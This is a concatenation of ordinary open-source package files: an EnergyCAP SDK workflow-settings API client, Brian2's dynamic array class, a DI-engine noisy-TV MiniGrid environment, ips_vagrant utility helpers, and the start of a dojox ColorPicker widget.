request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BatchWorkflowSettings', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_batch_workflow.metadata = {'url': '/api/v3/workflow/batch'}
def get_export_workflow(
self, export_mode="ap", custom_headers=None, raw=False, **operation_config):
"""Get export workflow settings.
:param export_mode: The export mode to get settings for, can be 'AP'
or 'GL'
:type export_mode: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ExportWorkflowSettings or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ExportWorkflowSettings or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_export_workflow.metadata['url']
# Construct parameters
query_parameters = {}
if export_mode is not None:
query_parameters['exportMode'] = self._serialize.query("export_mode", export_mode, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ExportWorkflowSettings', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_export_workflow.metadata = {'url': '/api/v3/workflow/export'}
def get_approval_workflow(
self, custom_headers=None, raw=False, **operation_config):
"""Get approval workflow settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApprovalWorkflowSettings or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ApprovalWorkflowSettings or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_approval_workflow.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApprovalWorkflowSettings', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_approval_workflow.metadata = {'url': '/api/v3/workflow/approval'}
def get_workflow(
self, custom_headers=None, raw=False, **operation_config):
"""Get bill workflow settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WorkflowSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WorkflowSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_workflow.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WorkflowSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_workflow.metadata = {'url': '/api/v3/workflow'}
def edit_workflow(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update bill workflow settings.
:param body: All workflow settings
:type body: ~energycap.sdk.models.WorkflowSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WorkflowSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WorkflowSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_workflow.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WorkflowSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WorkflowSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_workflow.metadata = {'url': '/api/v3/workflow'}
def get_chargeback_workflow_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get chargeback workflow settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowSettings or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowSettings or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_workflow_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowSettings', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_workflow_settings.metadata = {'url': '/api/v3/workflow/chargeback'}
def get_bill_import_workflow_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get bill import workflow settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillImportWorkflowSettings or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillImportWorkflowSettings or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_import_workflow_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillImportWorkflowSettings', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_import_workflow_settings.metadata = {'url': '/api/v3/workflow/billImport'} | PypiClean |
/Brian2-2.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl/brian2/memory/dynamicarray.py | import numpy as np
__all__ = ["DynamicArray", "DynamicArray1D"]
def getslices(shape, from_start=True):
if from_start:
return tuple(slice(0, x) for x in shape)
else:
return tuple(slice(x, None) for x in shape)
class DynamicArray:
"""
An N-dimensional dynamic array class
The array can be resized in any dimension, and the class will handle
allocating a new block of data and copying when necessary.
.. warning::
The data will NOT be contiguous for >1D arrays. To ensure this, you will
either need to use 1D arrays, or to copy the data, or use the shrink
method with the current size (although note that in both cases you
negate the memory and efficiency benefits of the dynamic array).
Initialisation arguments:
``shape``, ``dtype``
The shape and dtype of the array to initialise, as in Numpy. For 1D
arrays, shape can be a single int, for ND arrays it should be a tuple.
``factor``
The resizing factor (see notes below). Larger values tend to lead to
more wasted memory, but more computationally efficient code.
``use_numpy_resize``, ``refcheck``
Normally, when you resize the array it creates a new array and copies
the data. Sometimes, it is possible to resize an array without a copy,
and if this option is set it will attempt to do this. However, this can
cause memory problems if you are not careful so the option is off by
default. You need to ensure that you do not create slices of the array
so that no references to the memory exist other than the main array
object. If you are sure you know what you're doing, you can switch this
reference check off. Note that resizing in this way is only done if you
resize in the first dimension.
The array is initialised with zeros. The data is stored in the attribute
``data`` which is a Numpy array.
Some numpy methods are implemented and can work directly on the array object,
including ``len(arr)``, ``arr[...]`` and ``arr[...]=...``. In other cases,
use the ``data`` attribute.
Examples
--------
>>> x = DynamicArray((2, 3), dtype=int)
>>> x[:] = 1
>>> x.resize((3, 3))
>>> x[:] += 1
>>> x.resize((3, 4))
>>> x[:] += 1
>>> x.resize((4, 4))
>>> x[:] += 1
>>> x.data[:] = x.data**2
>>> x.data
array([[16, 16, 16, 4],
[16, 16, 16, 4],
[ 9, 9, 9, 4],
[ 1, 1, 1, 1]])
Notes
-----
The dynamic array returns a ``data`` attribute which is a view on the larger
``_data`` attribute. When a resize operation is performed, and a specific
dimension is enlarged beyond the size in the ``_data`` attribute, the size
is increased to the larger of ``cursize*factor`` and ``newsize``. This
ensures that the amortized cost of increasing the size of the array is O(1).
"""
def __init__(
self, shape, dtype=float, factor=2, use_numpy_resize=False, refcheck=True
):
if isinstance(shape, int):
shape = (shape,)
self._data = np.zeros(shape, dtype=dtype)
self.data = self._data
self.dtype = dtype
self.shape = self._data.shape
self.factor = factor
self.use_numpy_resize = use_numpy_resize
self.refcheck = refcheck
def resize(self, newshape):
"""
Resizes the data to the new shape, which can be a different size to the
current data, but should have the same rank, i.e. same number of
dimensions.
"""
datashapearr = np.array(self._data.shape)
newshapearr = np.array(newshape)
resizedimensions = newshapearr > datashapearr
if resizedimensions.any():
# resize of the data is needed
minnewshapearr = datashapearr # .copy()
dimstoinc = minnewshapearr[resizedimensions]
incdims = np.array(dimstoinc * self.factor, dtype=int)
newdims = np.maximum(incdims, dimstoinc + 1)
minnewshapearr[resizedimensions] = newdims
newshapearr = np.maximum(newshapearr, minnewshapearr)
do_resize = False
if self.use_numpy_resize and self._data.flags["C_CONTIGUOUS"]:
if sum(resizedimensions) == resizedimensions[0]:
do_resize = True
if do_resize:
self.data = None
self._data.resize(tuple(newshapearr), refcheck=self.refcheck)
else:
newdata = np.zeros(tuple(newshapearr), dtype=self.dtype)
slices = getslices(self._data.shape)
newdata[slices] = self._data
self._data = newdata
elif (newshapearr < self.shape).any():
# If we reduced the size, set the no longer used memory to 0
self._data[getslices(newshape, from_start=False)] = 0
# Reduce our view to the requested size if necessary
self.data = self._data[getslices(newshape, from_start=True)]
self.shape = self.data.shape
def resize_along_first(self, newshape):
new_dimension = newshape[0]
if new_dimension > self._data.shape[0]:
new_size = np.maximum(self._data.shape[0] * self.factor, new_dimension + 1)
final_new_shape = np.array(self._data.shape)
final_new_shape[0] = new_size
if self.use_numpy_resize and self._data.flags["C_CONTIGUOUS"]:
self.data = None
self._data.resize(tuple(final_new_shape), refcheck=self.refcheck)
else:
newdata = np.zeros(tuple(final_new_shape), dtype=self.dtype)
slices = getslices(self._data.shape)
newdata[slices] = self._data
self._data = newdata
elif newshape < self.shape:
# If we reduced the size, set the no longer used memory to 0
self._data[new_dimension:] = 0
# Reduce our view to the requested size if necessary
self.data = self._data[:new_dimension]
self.shape = newshape
def shrink(self, newshape):
"""
Reduces the data to the given shape, which should be smaller than the
current shape. `resize` can also be used with smaller values, but
it will not shrink the allocated memory, whereas `shrink` will
reallocate the memory. This method should only be used infrequently, as
if it is used frequently it will negate the computational efficiency
benefits of the DynamicArray.
"""
if isinstance(newshape, int):
newshape = (newshape,)
shapearr = np.array(self.shape)
newshapearr = np.array(newshape)
if (newshapearr <= shapearr).all():
newdata = np.zeros(newshapearr, dtype=self.dtype)
newdata[:] = self._data[getslices(newshapearr)]
self._data = newdata
self.shape = tuple(newshapearr)
self.data = self._data
def __getitem__(self, item):
return self.data.__getitem__(item)
def __setitem__(self, item, val):
self.data.__setitem__(item, val)
def __len__(self):
return len(self.data)
def __str__(self):
return self.data.__str__()
def __repr__(self):
return self.data.__repr__()
class DynamicArray1D(DynamicArray):
"""
Version of `DynamicArray` with specialised ``resize`` method designed
to be more efficient.
"""
def resize(self, newshape):
(datashape,) = self._data.shape
if newshape > datashape:
(shape,) = self.shape # we work with int shapes only
newdatashape = max(newshape, int(shape * self.factor) + 1)
if self.use_numpy_resize and self._data.flags["C_CONTIGUOUS"]:
self.data = None
self._data.resize(newdatashape, refcheck=self.refcheck)
else:
newdata = np.zeros(newdatashape, dtype=self.dtype)
newdata[:shape] = self.data
self._data = newdata
elif newshape < self.shape[0]:
# If we reduced the size, set the no longer used memory to 0
self._data[newshape:] = 0
# Reduce our view to the requested size if necessary
self.data = self._data[:newshape]
self.shape = (newshape,) | PypiClean |
/DI_engine-0.4.9-py3-none-any.whl/dizoo/minigrid/envs/noisy_tv.py | from minigrid.core.grid import Grid
from minigrid.core.mission import MissionSpace
from minigrid.minigrid_env import *
from minigrid.utils.rendering import *
from minigrid.core.world_object import WorldObj
import random
class NoisyTVEnv(MiniGridEnv):
"""
### Description
Classic four room reinforcement learning environment with random noise. The agent must
navigate in a maze composed of four rooms interconnected by 4 gaps in the
walls. To obtain a reward, the agent must reach the green goal square. Both
the agent and the goal square are randomly placed in any of the four rooms.
### Mission Space
"reach the goal"
### Action Space
| Num | Name | Action |
|-----|--------------|--------------|
| 0 | left | Turn left |
| 1 | right | Turn right |
| 2 | forward | Move forward |
| 3 | pickup | Unused |
| 4 | drop | Unused |
| 5 | toggle | Unused |
| 6 | done | Unused |
### Observation Encoding
- Each tile is encoded as a 3 dimensional tuple:
`(OBJECT_IDX, COLOR_IDX, STATE)`
- `OBJECT_TO_IDX` and `COLOR_TO_IDX` mapping can be found in
[minigrid/minigrid.py](minigrid/minigrid.py)
- `STATE` refers to the door state with 0=open, 1=closed and 2=locked
### Rewards
A reward of '1' is given for success, and '0' for failure.
Noisy reward are given upon reaching a noisy tile. Noise obeys Gaussian distribution.
### Termination
The episode ends if any one of the following conditions is met:
1. The agent reaches the goal.
2. Timeout (see `max_steps`).
### Registered Configurations
- `MiniGrid-NoisyTV-v0`
"""
def __init__(self, agent_pos=None, goal_pos=None, noisy_tile_num=4, **kwargs):
self._agent_default_pos = agent_pos
self._goal_default_pos = goal_pos
self.size = 19
self._noisy_tile_num = noisy_tile_num
self._noisy_tile_pos = []
for i in range(self._noisy_tile_num):
pos2 = (self._rand_int(1, self.size - 1), self._rand_int(1, self.size - 1))
while pos2 in self._noisy_tile_pos:
pos2 = (self._rand_int(1, self.size - 1), self._rand_int(1, self.size - 1))
self._noisy_tile_pos.append(pos2)
mission_space = MissionSpace(mission_func=lambda: "reach the goal")
super().__init__(mission_space=mission_space, width=self.size, height=self.size, max_steps=100, **kwargs)
def _reward_noise(self):
"""
Compute the reward to be given upon reach a noisy tile
"""
return self._rand_float(0.05, 0.1)
def _add_noise(self, obs):
"""
Add noise to obs['image']
"""
image = obs['image'].astype(float)
for pos in self._noisy_tile_pos:
if self.in_view(pos[0], pos[1]): # if noisy tile is in the view of agent, the view of agent is 7*7.
relative_pos = self.relative_coords(pos[0], pos[1])
image[relative_pos][1] += 0.5
obs['image'] = image
return obs
def _gen_grid(self, width, height):
# Create the grid
self.grid = Grid(width, height)
# Generate the surrounding walls
self.grid.horz_wall(0, 0)
self.grid.horz_wall(0, height - 1)
self.grid.vert_wall(0, 0)
self.grid.vert_wall(width - 1, 0)
room_w = width // 2
room_h = height // 2
# For each row of rooms
for j in range(0, 2):
# For each column
for i in range(0, 2):
xL = i * room_w
yT = j * room_h
xR = xL + room_w
yB = yT + room_h
# Bottom wall and door
if i + 1 < 2:
self.grid.vert_wall(xR, yT, room_h)
pos = (xR, self._rand_int(yT + 1, yB))
self.grid.set(*pos, None)
# Bottom wall and door
if j + 1 < 2:
self.grid.horz_wall(xL, yB, room_w)
pos = (self._rand_int(xL + 1, xR), yB)
self.grid.set(*pos, None)
# Randomize the player start position and orientation
if self._agent_default_pos is not None:
self.agent_pos = self._agent_default_pos
self.grid.set(*self._agent_default_pos, None)
# assuming random start direction
self.agent_dir = self._rand_int(0, 4)
else:
self.place_agent()
if self._goal_default_pos is not None:
goal = Goal()
self.put_obj(goal, *self._goal_default_pos)
goal.init_pos, goal.cur_pos = self._goal_default_pos
else:
self.place_obj(Goal())
def step(self, action):
self.step_count += 1
reward = 0
terminated = False
truncated = False
# Get the position in front of the agent
fwd_pos = self.front_pos
# Get the contents of the cell in front of the agent
fwd_cell = self.grid.get(*fwd_pos)
# Rotate left
if action == self.actions.left:
self.agent_dir -= 1
if self.agent_dir < 0:
self.agent_dir += 4
# Rotate right
elif action == self.actions.right:
self.agent_dir = (self.agent_dir + 1) % 4
# Move forward
elif action == self.actions.forward:
if fwd_cell is None or fwd_cell.can_overlap():
self.agent_pos = tuple(fwd_pos)
if fwd_cell is not None and fwd_cell.type == "goal":
terminated = True
reward = self._reward()
if fwd_cell is not None and fwd_cell.type == "lava":
terminated = True
# if agent reach noisy tile, return noisy reward.
if self.agent_pos in self._noisy_tile_pos:
reward = self._reward_noise()
# Pick up an object
elif action == self.actions.pickup:
if fwd_cell and fwd_cell.can_pickup():
if self.carrying is None:
self.carrying = fwd_cell
self.carrying.cur_pos = np.array([-1, -1])
self.grid.set(fwd_pos[0], fwd_pos[1], None)
# Drop an object
elif action == self.actions.drop:
if not fwd_cell and self.carrying:
self.grid.set(fwd_pos[0], fwd_pos[1], self.carrying)
self.carrying.cur_pos = fwd_pos
self.carrying = None
# Toggle/activate an object
elif action == self.actions.toggle:
if fwd_cell:
fwd_cell.toggle(self, fwd_pos)
# Done action (not used by default)
elif action == self.actions.done:
pass
else:
raise ValueError(f"Unknown action: {action}")
if self.step_count >= self.max_steps:
truncated = True
if self.render_mode == "human":
self.render()
obs = self.gen_obs()
obs = self._add_noise(obs)
return obs, reward, terminated, truncated, {} | PypiClean |
/IPS-Vagrant-0.4.1.tar.gz/IPS-Vagrant-0.4.1/ips_vagrant/common/__init__.py | from distutils.version import StrictVersion, LooseVersion
import os
import click
import logging
import cookielib
import requests
import ips_vagrant
from urlparse import urlparse
from ConfigParser import ConfigParser
def config():
"""
Load system configuration
@rtype: ConfigParser
"""
cfg = ConfigParser()
cfg.read(os.path.join(os.path.dirname(os.path.realpath(ips_vagrant.__file__)), 'config/ipsv.conf'))
return cfg
def choice(opts, default=1, text='Please make a choice.'):
"""
Prompt the user to select an option
@param opts: List of tuples containing options in (key, value) format - value is optional
@type opts: list of tuple
@param text: Prompt text
@type text: str
"""
opts_len = len(opts)
opts_enum = enumerate(opts, 1)
opts = list(opts)
for key, opt in opts_enum:
click.echo('[{k}] {o}'.format(k=key, o=opt[1] if isinstance(opt, tuple) else opt))
click.echo('-' * 12)
opt = click.prompt(text, default, type=click.IntRange(1, opts_len))
opt = opts[opt - 1]
return opt[0] if isinstance(opt, tuple) else opt
def styled_status(enabled, bold=True):
"""
Generate a styled status string
@param enabled: Enabled / Disabled boolean
@type enabled: bool
@param bold: Display status in bold format
@type bold: bool
@rtype: str
"""
return click.style('Enabled' if enabled else 'Disabled', 'green' if enabled else 'red', bold=bold)
def domain_parse(url):
"""
urlparse wrapper for user input
@type url: str
@rtype: urlparse.ParseResult
"""
url = url.lower()
if not url.startswith('http://') and not url.startswith('https://'):
url = '{schema}{host}'.format(schema='http://', host=url)
url = urlparse(url)
if not url.hostname:
raise ValueError('Invalid domain provided')
# Strip www prefix any additional URL data
url = urlparse('{scheme}://{host}'.format(scheme=url.scheme, host=url.hostname.lstrip('www.')))
return url
def http_session(cookies=None):
"""
Generate a Requests session
@param cookies: Cookies to load. None loads the app default CookieJar. False disables cookie loading.
@type cookies: dict, cookielib.LWPCookieJar, None or False
@rtype requests.Session
"""
session = requests.Session()
if cookies is not False:
session.cookies.update(cookies or cookiejar())
session.headers.update({'User-Agent': 'ipsv/{v}'.format(v=ips_vagrant.__version__)})
return session
def cookiejar(name='session'):
"""
Ready the CookieJar, loading a saved session if available
@rtype: cookielib.LWPCookieJar
"""
log = logging.getLogger('ipsv.common.cookiejar')
spath = os.path.join(config().get('Paths', 'Data'), '{n}.txt'.format(n=name))
cj = cookielib.LWPCookieJar(spath)
log.debug('Attempting to load session file: %s', spath)
if os.path.exists(spath):
try:
cj.load()
log.info('Successfully loaded a saved session / cookie file')
except cookielib.LoadError as e:
log.warn('Session / cookie file exists, but could not be loaded', exc_info=e)
return cj
def parse_version(vstring):
"""
StrictVersion / LooseVersion decorator method
@type vstring: str
@return: StrictVersion if possible, otherwise LooseVersion
@rtype: StrictVersion or LooseVersion
"""
try:
version = StrictVersion(vstring)
except ValueError:
logging.getLogger('ipvs.common.debug').info('Strict parsing failed, falling back to LooseVersion instead')
version = LooseVersion(vstring)
version.version = tuple(version.version)
return version
def unparse_version(vtuple):
"""
Return the textual representation of a version tuple
@type vtuple: tuple
@rtype: str
"""
return '.'.join(map(str, vtuple))
def byteify(input):
if isinstance(input, dict):
return {byteify(key):byteify(value) for key,value in input.iteritems()}
elif isinstance(input, list):
return [byteify(element) for element in input]
elif isinstance(input, unicode):
return input.encode('utf-8')
else:
return input | PypiClean |
/FreePyBX-1.0-RC1.tar.gz/FreePyBX-1.0-RC1/freepybx/public/js/dojox/widget/ColorPicker.js.uncompressed.js | require({cache:{
'url:dojox/widget/ColorPicker/ColorPicker.html':"<table class=\"dojoxColorPicker\" dojoAttachEvent=\"onkeypress: _handleKey\" cellpadding=\"0\" cellspacing=\"0\">\n\t<tr>\n\t\t<td valign=\"top\" class=\"dojoxColorPickerRightPad\">\n\t\t\t<div class=\"dojoxColorPickerBox\">\n\t\t\t\t<!-- Forcing ABS in style attr due to dojo DND issue with not picking it up form the class. -->\n\t\t\t\t<img role=\"status\" title=\"${saturationPickerTitle}\" alt=\"${saturationPickerTitle}\" class=\"dojoxColorPickerPoint\" src=\"${_pickerPointer}\" tabIndex=\"0\" dojoAttachPoint=\"cursorNode\" style=\"position: absolute; top: 0px; left: 0px;\">\n\t\t\t\t<img role=\"presentation\" alt=\"\" dojoAttachPoint=\"colorUnderlay\" dojoAttachEvent=\"onclick: _setPoint, onmousedown: _stopDrag\" class=\"dojoxColorPickerUnderlay\" src=\"${_underlay}\" ondragstart=\"return false\">\n\t\t\t</div>\n\t\t</td>\n\t\t<td valign=\"top\" class=\"dojoxColorPickerRightPad\">\n\t\t\t<div class=\"dojoxHuePicker\">\n\t\t\t\t<!-- Forcing ABS in style attr due to dojo DND issue with not picking it up form the class. -->\n\t\t\t\t<img role=\"status\" dojoAttachPoint=\"hueCursorNode\" tabIndex=\"0\" class=\"dojoxHuePickerPoint\" title=\"${huePickerTitle}\" alt=\"${huePickerTitle}\" src=\"${_huePickerPointer}\" style=\"position: absolute; top: 0px; left: 0px;\">\n\t\t\t\t<div class=\"dojoxHuePickerUnderlay\" dojoAttachPoint=\"hueNode\">\n\t\t\t\t <img role=\"presentation\" alt=\"\" dojoAttachEvent=\"onclick: _setHuePoint, onmousedown: _stopDrag\" src=\"${_hueUnderlay}\">\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</td>\n\t\t<td valign=\"top\">\n\t\t\t<table cellpadding=\"0\" cellspacing=\"0\">\n\t\t\t\t<tr>\n\t\t\t\t\t<td valign=\"top\" class=\"dojoxColorPickerPreviewContainer\">\n\t\t\t\t\t\t<table cellpadding=\"0\" cellspacing=\"0\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td valign=\"top\" class=\"dojoxColorPickerRightPad\">\n\t\t\t\t\t\t\t\t\t<div dojoAttachPoint=\"previewNode\" class=\"dojoxColorPickerPreview\"></div>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t<td valign=\"top\">\n\t\t\t\t\t\t\t\t\t<div dojoAttachPoint=\"safePreviewNode\" class=\"dojoxColorPickerWebSafePreview\"></div>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td valign=\"bottom\">\n\t\t\t\t\t\t<table class=\"dojoxColorPickerOptional\" cellpadding=\"0\" cellspacing=\"0\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t<div class=\"dijitInline dojoxColorPickerRgb\" dojoAttachPoint=\"rgbNode\">\n\t\t\t\t\t\t\t\t\t\t<table cellpadding=\"1\" cellspacing=\"1\">\n\t\t\t\t\t\t\t\t\t\t<tr><td><label for=\"${_uId}_r\">${redLabel}</label></td><td><input id=\"${_uId}_r\" dojoAttachPoint=\"Rval\" size=\"1\" dojoAttachEvent=\"onchange: _colorInputChange\"></td></tr>\n\t\t\t\t\t\t\t\t\t\t<tr><td><label for=\"${_uId}_g\">${greenLabel}</label></td><td><input id=\"${_uId}_g\" dojoAttachPoint=\"Gval\" size=\"1\" dojoAttachEvent=\"onchange: _colorInputChange\"></td></tr>\n\t\t\t\t\t\t\t\t\t\t<tr><td><label for=\"${_uId}_b\">${blueLabel}</label></td><td><input id=\"${_uId}_b\" dojoAttachPoint=\"Bval\" size=\"1\" dojoAttachEvent=\"onchange: _colorInputChange\"></td></tr>\n\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t<div class=\"dijitInline dojoxColorPickerHsv\" dojoAttachPoint=\"hsvNode\">\n\t\t\t\t\t\t\t\t\t\t<table cellpadding=\"1\" cellspacing=\"1\">\n\t\t\t\t\t\t\t\t\t\t<tr><td><label for=\"${_uId}_h\">${hueLabel}</label></td><td><input id=\"${_uId}_h\" dojoAttachPoint=\"Hval\"size=\"1\" dojoAttachEvent=\"onchange: _colorInputChange\"> ${degLabel}</td></tr>\n\t\t\t\t\t\t\t\t\t\t<tr><td><label for=\"${_uId}_s\">${saturationLabel}</label></td><td><input id=\"${_uId}_s\" dojoAttachPoint=\"Sval\" size=\"1\" dojoAttachEvent=\"onchange: _colorInputChange\"> ${percentSign}</td></tr>\n\t\t\t\t\t\t\t\t\t\t<tr><td><label for=\"${_uId}_v\">${valueLabel}</label></td><td><input id=\"${_uId}_v\" dojoAttachPoint=\"Vval\" size=\"1\" dojoAttachEvent=\"onchange: _colorInputChange\"> ${percentSign}</td></tr>\n\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td colspan=\"2\">\n\t\t\t\t\t\t\t\t\t<div class=\"dojoxColorPickerHex\" dojoAttachPoint=\"hexNode\" aria-live=\"polite\">\t\n\t\t\t\t\t\t\t\t\t\t<label for=\"${_uId}_hex\"> ${hexLabel} </label><input id=\"${_uId}_hex\" dojoAttachPoint=\"hexCode, focusNode, valueNode\" size=\"6\" class=\"dojoxColorPickerHexCode\" dojoAttachEvent=\"onchange: _colorInputChange\">\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t</td>\n\t</tr>\n</table>\n\n"}});
define("dojox/widget/ColorPicker", [
"dojo/_base/kernel","dojo/_base/declare","dojo/_base/lang","dojo/_base/array",
"dojo/_base/html","dojo/_base/connect","dojo/_base/sniff","dojo/_base/window",
"dojo/_base/event","dojo/dom","dojo/dom-class","dojo/keys","dojo/fx","dojo/dnd/move",
"dijit/registry","dijit/_base/focus","dijit/form/_FormWidget","dijit/typematic",
"dojox/color","dojo/i18n","dojo/i18n!./nls/ColorPicker","dojo/i18n!dojo/cldr/nls/number",
"dojo/text!./ColorPicker/ColorPicker.html"
], function(kernel,declare,lang,ArrayUtil,html,Hub,has,win,Event,DOM,DOMClass,Keys,fx,move,
registry,FocusManager,FormWidget,Typematic,color,i18n,bundle1,bundle2,template){
kernel.experimental("dojox.widget.ColorPicker");
var webSafeFromHex = function(hex){
// stub, this is planned later:
return hex;
};
/*=====
var FormWidget = dijit.form._FormWidget;
=====*/
// TODO: shouldn't this extend _FormValueWidget?
return declare("dojox.widget.ColorPicker", FormWidget, {
// summary:
// a HSV color picker - similar to Photoshop picker
//
// description:
// Provides an interactive HSV ColorPicker similar to
// PhotoShop's color selction tool. This is an enhanced
// version of the default dijit.ColorPalette, though provides
// no accessibility.
//
// example:
// | var picker = new dojox.widget.ColorPicker({
// | // a couple of example toggles:
// | animatePoint:false,
// | showHsv: false,
// | webSafe: false,
// | showRgb: false
// | });
//
// example:
// | <!-- markup: -->
// | <div dojoType="dojox.widget.ColorPicker"></div>
//
// showRgb: Boolean
// show/update RGB input nodes
showRgb: true,
// showHsv: Boolean
// show/update HSV input nodes
showHsv: true,
// showHex: Boolean
// show/update Hex value field
showHex: true,
// webSafe: Boolean
// deprecated? or just use a toggle to show/hide that node, too?
webSafe: true,
// animatePoint: Boolean
